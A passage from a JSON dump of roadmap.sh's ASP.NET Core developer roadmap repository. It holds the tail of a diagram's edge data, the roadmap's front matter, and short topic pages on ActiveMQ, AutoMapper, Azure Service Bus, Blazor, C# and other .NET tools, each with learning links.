3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7Nth4LOrM_KirhvjDGkgS\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"8CRsr7UZszjc_fZ-4ZmIx\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-7Nth4LOrM_KirhvjDGkgSw2-8CRsr7UZszjc_fZ-4ZmIxx1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Ujzn_dILCA7xoupnz398l\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"fQ3w8REYWzQfeJ0nPyq6W\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Ujzn_dILCA7xoupnz398lx2-fQ3w8REYWzQfeJ0nPyq6Ww1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9Vv3OxafB6BlHhi1ZkeVO\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"tBl8neu3tJd5GPwGfJbjZ\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-9Vv3OxafB6BlHhi1ZkeVOy2-tBl8neu3tJd5GPwGfJbjZz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9Vv3OxafB6BlHhi1ZkeVO\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"8dvd4M0TKNyQR8dEolGNT\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-9Vv3OxafB6BlHhi1ZkeVOy2-8dvd4M0TKNyQR8dEolGNTz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9Vv3OxafB6BlHhi1ZkeVO\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"9ECykIIvXlDblbFbRVcJS\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-9Vv3OxafB6BlHhi1ZkeVOx2-s57tKy1rajlJbKFDVXLqsw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9ECykIIvXlDblbFbRVcJS\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"GPmlueMnuLCUW_t4jvGhc\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-s57tKy1rajlJbKFDVXLqsz2-GPmlueMnuLCUW_t4jvGhcy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9ECykIIvXlDblbFbRVcJS\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"x0OopRTwIvoWgT8qi0CE9\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-s57tKy1rajlJbKFDVXLqsz2-x0OopRTwIvoWgT8qi0CE9y2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9ECykIIvXlDblbFbRVcJS\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"oMMBzRrHkUymxAR4oqr75\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-s57tKy1rajlJbKFDVXLqsz2-oMMBzRrHkUymxAR4oqr75y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9ECykIIvXlDblbFbRVcJS\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"s57tKy1rajlJbKFDVXLqs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-9ECykIIvXlDblbFbRVcJSx2-s57tKy1rajlJbKFDVXLqsw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"s57tKy1rajlJbKFDVXLqs\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"QiQsx1udyKcPJ-lZjRQVy\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-s57tKy1rajlJbKFDVXLqsy2-QiQsx1udyKcPJ-lZjRQVyz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"s57tKy1rajlJbKFDVXLqs\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"p3bZnKIyRgLmB764Kkhju\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-s57tKy1rajlJbKFDVXLqsy2-p3bZnKIyRgLmB764Kkhjuz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"s57tKy1rajlJbKFDVXLqs\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"zOWlPXIl4XPs_0pA8-yi5\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-s57tKy1rajlJbKFDVXLqsy2-zOWlPXIl4XPs_0pA8-yi5z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"s57tKy1rajlJbKFDVXLqs\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"XofWWhlU_vWCG5oXVMZze\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-s57tKy1rajlJbKFDVXLqsx2-KIFmahcNiSo2NGoLtAyRRw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"XofWWhlU_vWCG5oXVMZze\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"37c2eCvRdebztkbc5AjYp\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-XofWWhlU_vWCG5oXVMZzex2-KIFmahcNiSo2NGoLtAyRRw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Z-zHIbLBy7cqcDu_QEJIn\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"WSrbHa0mKIQs33vEJHp15\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Z-zHIbLBy7cqcDu_QEJIny2-WSrbHa0mKIQs33vEJHp15x2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"37c2eCvRdebztkbc5AjYp\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"KIFmahcNiSo2NGoLtAyRR\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-37c2eCvRdebztkbc5AjYpx2-KIFmahcNiSo2NGoLtAyRRw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KIFmahcNiSo2NGoLtAyRR\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"RX_6yD1QGLEGwV4j6z_g-\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KIFmahcNiSo2NGoLtAyRRz2-RX_6yD1QGLEGwV4j6z_g-y2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"C85aJvrzj6rP2Hmfj9uPB\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"nUE2-egUMNFQoPVrVRFPl\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-1YL7aXluINOO15W3waaiDy2-nUE2-egUMNFQoPVrVRFPlz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"C85aJvrzj6rP2Hmfj9uPB\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"dWB5OCvWVYkD30Op_dMwy\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-1YL7aXluINOO15W3waaiDy2-dWB5OCvWVYkD30Op_dMwyz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"C85aJvrzj6rP2Hmfj9uPB\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ZaOhWWDgVxrn0hbesJ7xT\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-1YL7aXluINOO15W3waaiDy2-ZaOhWWDgVxrn0hbesJ7xTz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RX_6yD1QGLEGwV4j6z_g-\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"ia7YtgDjVoLxFKtQZPqJD\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"reactflow__edge-RX_6yD1QGLEGwV4j6z_g-x2-ia7YtgDjVoLxFKtQZPqJDw1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1YL7aXluINOO15W3waaiD\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"4iD_hDtgJ15IlJGxiO-E8\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-1YL7aXluINOO15W3waaiDz2-4iD_hDtgJ15IlJGxiO-E8y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1YL7aXluINOO15W3waaiD\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"olqSPUU3RoxhQ6exfMzeN\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-1YL7aXluINOO15W3waaiDz2-olqSPUU3RoxhQ6exfMzeNy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NvODRFR0DLINB0RlPSsvt\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"NEnna_8DstfYH4T9qrP3-\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-NvODRFR0DLINB0RlPSsvtx2-NEnna_8DstfYH4T9qrP3-w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/aspnet-core.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/aspnet-core.json'\npdfUrl: '/pdfs/roadmaps/aspnet-core.pdf'\norder: 9\nrenderer: 'editor'\nbriefTitle: 'ASP.NET Core'\nbriefDescription: 'Step by step guide to becoming an ASP.NET Core Developer in 2025'\ntitle: 'ASP.NET Core Developer'\ndescription: 'Step by step guide to becoming an ASP.NET core developer in 2025'\nisNew: false\nhasTopics: true\ndimensions:\n  width: 968\n  height: 2920\ncourses:\n  - title: 'Complete Course to Master SQL'\n    description: 'Learn SQL from scratch with this comprehensive course'\n    link: 'https://roadmap.sh/courses/sql'\n    features:\n      - '55+ Lessons'\n      - 'AI Tutor'\n      - 'Coding Environment'\n      - 'Quizzes'\n      - 'Certification'\n    instructor:\n      name: 'Kamran Ahmed'\n      image: 'https://github.com/kamranahmedse.png'\n      title: 'Founder - roadmap.sh'\nschema:\n  headline: 'ASP.NET Core Developer Roadmap'\n  description: 'Learn how to become a ASP.NET Core Developer with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/aspnet-core.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nseo:\n  title: 'ASP.NET Core Roadmap'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for asp.net core development. Learn to become a modern ASP.NET core developer by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'guide to becoming a developer'\n    - 'guide to becoming an asp.net core developer'\n    - 'asp.net core developer'\n    - 'asp.net core engineer'\n    - 'asp.net core skills'\n    - 'guide to asp.net core'\n    - 'asp.net developer roadmap'\n    - 'asp net developer roadmap 2025'\n    - 'asp developer roadmap'\n    - 'asp developer roadmap 2025'\n    - 'asp.net core roadmap'\n    - 'asp.net core skills'\n    - 'asp.net core skills test'\n    - 'skills for asp.net core'\n    - 'cloud development with asp.net'\n    - 'what is asp.net core'\n    - 'asp.net core quiz'\n    - 'asp.net core interview questions'\n    - 'asp.net core engineer roadmap'\n    - 'asp.net core developer roadmap'\n    - 'become an asp.net core developer'\n    - 'asp.net core developer career path'\n    - 'modern asp.net core developer'\nrelatedRoadmaps:\n  - 'backend'\n  - 'devops'\n  - 'python'\n  - 'cpp'\n  - 'data-analyst'\n  - 'nodejs'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/activemq@sNYYEBMHV_NO_NToP51VY.md",
    "content": "# ActiveMQ\n\nActiveMQ is an open-source message broker written in Java that implements the Java Message Service (JMS) API. It can be used to send and receive messages between different applications in a loosely coupled, asynchronous manner. ActiveMQ supports a variety of messaging protocols, including JMS, AMQP, STOMP, MQTT, and OpenWire.\n\nIn the context of an [ASP.NET](http://ASP.NET) application, ActiveMQ can be used to send and receive messages to and from other systems. For example, it can be used to send messages from a web application to a background service, or to send messages between different microservices.\n\nVisit the following resources to learn more:\n\n- [@article@What Is ActiveMQ And How Can You Use It?](https://www.c-sharpcorner.com/article/what-is-activemq-and-how-can-you-use-it/)\n- [@article@Messaging with .NET and ActiveMQ](https://remark.wordpress.com/articles/messaging-with-net-and-activemq/)\n- [@article@Messaging with ActiveMQ and ASP.NET](https://havret.io/activemq-artemis-net-core)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/api-clients-and-communication@GLkDH0X0uy8_1DIdCzbUD.md",
    "content": "# API Clients\n\nAPI clients in [ASP.NET](http://ASP.NET) are software libraries that allow applications to interact with external APIs. They provide a set of methods and classes that make it easy to send requests to an API and process the responses.\n\nAPI clients can be used to access a wide variety of services, such as web services, cloud services, and social media platforms. They can be used to perform tasks such as fetching data, posting updates, and deleting resources.\n\nAPI clients in [ASP.NET](http://ASP.NET) are typically built using the HttpClient class, which is part of the System.Net.Http namespace. This class provides a set of methods for sending HTTP requests and receiving HTTP responses.\n\nVisit the following resources to learn more:\n\n- [@article@How to Call a Web API From a .NET Client](https://learn.microsoft.com/en-us/aspnet/web-api/overview/advanced/calling-a-web-api-from-a-net-client)\n- [@article@Overview of Web API REST Service in ASP.NET](https://www.c-sharpcorner.com/article/consuming-asp-net-web-api-rest-service-in-asp-net-mvc-using-http-client/)\n- [@article@Building an ASP.NET Web API With ASP.NET](https://www.toptal.com/asp-dot-net/asp-net-web-api-tutorial)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/app-settings-and-configs@EJxliq-HPVp00CVsFc6kf.md",
    "content": "# App Settings and Configurations\n\nIn the [ASP.NET](http://ASP.NET) Core framework, app settings and configurations refer to the process of storing and managing application-specific settings and configuration data.\n\n*   **App Settings** refers to the key-value pairs of data that an application uses to configure its behavior, such as database connection strings, api keys, or other settings. These settings are typically stored in configuration files, such as `appsettings.json`, `appsettings.development.json`, or `appsettings.production.json`, and can be accessed using the IConfiguration interface.\n    \n*   **Configurations** refer to the process of loading and managing the app settings, including specifying the source of the settings and the format of the configuration files. In [ASP.NET](http://ASP.NET) Core, the `Startup` class is responsible for configuring the application's settings, and typically loads configuration data from various sources, such as JSON files, environment variables, or command-line arguments.\n\nVisit the following resources to learn more:\n\n- [@article@What is Azure App Configuration?](https://learn.microsoft.com/en-us/azure/azure-app-configuration/overview)\n- [@article@What are App Configurations and how do I work with them?](https://support.procore.com/faq/what-are-app-configurations)\n- [@article@Configuration & AppSettings](https://docs.servicestack.net/appsettings)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/aspnet-core-basics@v2ZTCQQFQPoJNhOVGMG2g.md",
    "content": "# Basics of ASP.NET Core\n\n[ASP.NET](http://ASP.NET) Core is a open-source, cross-platform web framework for building modern web applications using .NET. Some of the basics of [ASP.NET](http://ASP.NET) Core are Cross-platform, Open-source, Modular, High performance, MVC pattern, Dependency Injection, Middleware, Razor Pages and Razor Components, EF Core.\n\nVisit the following resources to learn more:\n\n- [@article@ASP.NET documentation](https://learn.microsoft.com/en-us/aspnet/core/?view=aspnetcore-7.0)\n- [@article@ASP.NET Core Tutorial](https://www.tutorialspoint.com/asp.net_core/index.htm)\n- [@article@Learn ASP.NET Core from Scratch](https://www.tutorialsteacher.com/core)\n- [@feed@Explore top posts about ASP.NET](https://app.daily.dev/tags/aspnet?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/autofac@gbpSbjF12dBE1Tb3PX8Bz.md",
    "content": "# Autofac\n\nAutofac is an open-source dependency injection framework for .NET. It is designed to make it easier to manage the dependencies of an application by automatically resolving and managing the lifetime of objects and their dependencies.\n\nAutofac uses a technique called \"component registration\" to define the objects and dependencies of an application. This is done by creating instances of the `ContainerBuilder` class and using its methods to register types, instances and factories. Then, the `Build()` method is called to create an instance of the `IContainer` interface, which can be used to resolve dependencies throughout the application.\n\nVisit the following resources to learn more:\n\n- [@official@Getting started with Autofac](https://autofac.org/)\n- [@article@Autofac’s Documentation](https://autofac.readthedocs.io/en/latest/)\n- [@article@Dependency Injection with Autofac](https://www.codeproject.com/Articles/25380/Dependency-Injection-with-Autofac)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/autofixture@K49M_7gSpfJuZaE6WaHxQ.md",
    "content": "# AutoFixture\n\nAutoFixture is an open-source .NET library designed to minimize the 'Arrange' phase of your unit tests by creating object instances automatically with dummy data. It helps reduce boilerplate code and makes tests easier to maintain.\n\nVisit the following resources to learn more:\n\n- [@official@Quick start to AutoFixture](https://autofixture.github.io/docs/quick-start/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/automapper@GPmlueMnuLCUW_t4jvGhc.md",
    "content": "# AutoMapper\n\nAutoMapper is a library for .NET that allows you to easily map between objects of different types. It is particularly useful when working with domain models and data transfer objects (DTOs) in a layered architecture. It can also be used to map between different versions of an object, or to map between objects in different formats, such as JSON and XML.\n\nAutoMapper uses a convention-based approach to mapping, which means that it automatically maps properties with the same name and type from one object to another. It also provides a fluent API for configuring more complex mappings, such as ignoring certain properties, using custom logic to map properties, or mapping properties based on a value in another property.\n\nVisit the following resources to learn more:\n\n- [@article@What is Automapper in ASP.NET?](https://www.simplilearn.com/tutorials/asp-dot-net-tutorial/automapper-in-c-sharp)\n- [@article@Getting Started with AutoMapper in ASP.NET](https://code-maze.com/automapper-net-core/)\n- [@article@Examples of AutoMapper in ASP.NET](https://dotnettutorials.net/lesson/automapper-in-c-sharp/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/azure-pipelines@_-GQNpsb7KZw76hNNOq3h.md",
    "content": "# Azure Pipelines\n\nAzure Pipelines is a continuous integration and continuous delivery (CI/CD) platform that allows developers to automate the process of building, testing, and deploying code. It is a part of the Azure DevOps suite of tools and can be used to automate the software development process for various languages and platforms, including [ASP.NET](http://ASP.NET).\n\nIn [ASP.NET](http://ASP.NET), Azure Pipelines can be used to automate various tasks related to the development, testing, and deployment of [ASP.NET](http://ASP.NET) applications. For example, you can use Azure Pipelines to automatically build, test, and deploy an [ASP.NET](http://ASP.NET) application to a hosting provider, such as Azure or AWS, every time you push code to your source control repository.\n\nVisit the following resources to learn more:\n\n- [@article@Deploy ASP.NET Apps with Azure Pipelines](https://learn.microsoft.com/en-us/training/modules/deploy-aspnet-apps-azure-app-service-pipelines/)\n- [@article@Build ASP.NET apps with .NET Framework](https://learn.microsoft.com/en-us/azure/devops/pipelines/apps/aspnet/build-aspnet-4?view=azure-devops)\n- [@article@How to Build, test & deploy .NET Apps](https://learn.microsoft.com/en-us/azure/devops/pipelines/ecosystems/dotnet-core?view=azure-devops&tabs=dotnetfive)\n- [@feed@Explore top posts about Azure](https://app.daily.dev/tags/azure?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/azure-service-bus@gBuaVZfqJ0-g21sKohQtx.md",
    "content": "# Azure Service Bus\n\nAzure Service Bus is a scalable and reliable messaging platform that can handle a high volume of messages, it's also easy to use, has a lot of features like subscription, Topics, Dead Letter, and easy to integrate with other Azure services, and it's a managed service which means Microsoft takes care of the infrastructure and scaling. However, it's worth noting that Azure Service Bus is a paid service and the cost will depend on the number of messages and the size of the data that you are sending and receiving.\n\nVisit the following resources to learn more:\n\n- [@article@Getting Started With Azure Service Bus and ASP.NET Core](https://www.c-sharpcorner.com/article/get-started-with-azure-service-bus-queues-asp-net-core-part-1/)\n- [@article@How to Send & receive messages from Azure Service Bus queue (.NET)?](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-dotnet-get-started-with-queues?tabs=passwordless)\n- [@article@What is Azure Service Bus?](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview)\n- [@feed@Explore top posts about Azure](https://app.daily.dev/tags/azure?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/benchmarknet@9LEVN-uVEwxJooEiB9ApK.md",
    "content": "# BenchmarkDotNet\n\nBenchmarkDotNet is an open-source library for .NET that provides a simple and easy-to-use API for benchmarking the performance of code. It allows you to measure the performance of methods, classes, and entire assemblies, and provides a rich set of features for analyzing and comparing the results. It provides a wide range of performance metrics, such as CPU cycles, memory allocation, and garbage collection, and can generate detailed reports that include charts, tables, and source code highlighting. It has support for multithreading and a built-in support for .NET Core.\n\nVisit the following resources to learn more:\n\n- [@article@Benchmarking .NET Using BenchmarkDotNet](https://www.codemag.com/Article/2209061/Benchmarking-.NET-6-Applications-Using-BenchmarkDotNet-A-Deep-Dive)\n- [@video@Benchmarking ASP.NET Applications with .NET Crank](https://www.youtube.com/watch?v=2IgfrnG-128)\n- [@video@Intro to BenchmarkDotNet](https://www.youtube.com/watch?v=mmza9x3QxYE)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/blazor@4iD_hDtgJ15IlJGxiO-E8.md",
    "content": "# Blazor\n\nBlazor is a framework for building web applications using C# and .NET that runs in the browser via WebAssembly. It allows developers to write C# code that runs directly in the browser, eliminating the need for JavaScript.\n\nBlazor comes in two flavors:\n\n*   Blazor WebAssembly, a client-side solution that allows you to run C# code directly in the browser using WebAssembly. The app is executed on the client-side and can work offline, it can also interact with JavaScript and access the browser's DOM.\n*   Blazor Server, a server-side solution that allows you to run C# code on the server and update the UI in real-time. The app is executed on the server-side and requires an active connection to the server to function.\n\nVisit the following resources to learn more:\n\n- [@article@Guide to ASP.NET Core Blazor](https://learn.microsoft.com/en-us/aspnet/core/blazor/?view=aspnetcore-7.0)\n- [@article@What Is Blazor And How It Works?](https://www.c-sharpcorner.com/article/what-is-blazor-and-how-does-it-works/)\n- [@video@Tutorial of ASP.NET Core Blazor](https://www.youtube.com/watch?v=LyO4zj6NRuc)\n- [@feed@Explore top posts about Blazor](https://app.daily.dev/tags/blazor?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/bogus@QERTjawqCCCkHfR44Ca0s.md",
    "content": "# Bogus"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/c@fxANnSiTb2VzA9u-YeBL1.md",
    "content": "# C#\n\nC# is a modern coding language that was developed by Microsoft that focuses on applying the coding style to C++ and making it so that way it's more condensed and simple. It's similar to Java by both being static, strong, and manifestive languages. Both use the System's prebuilt class to do certain features like printing output to the screen, etc.C#, like Java, also contains a garbage collection, which removes lower-level maintenance code from the programmer.\n\nVisit the following resources to learn more:\n\n- [@article@C# official website?](https://learn.microsoft.com/en-us/dotnet/csharp/)\n- [@video@C# Full Course - Learn C# 10 and .NET 6 in 7 hours](https://www.youtube.com/watch?v=q_F4PyW8GTg)\n- [@feed@Explore top posts about C#](https://app.daily.dev/tags/csharp?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/caching@7Nth4LOrM_KirhvjDGkgS.md",
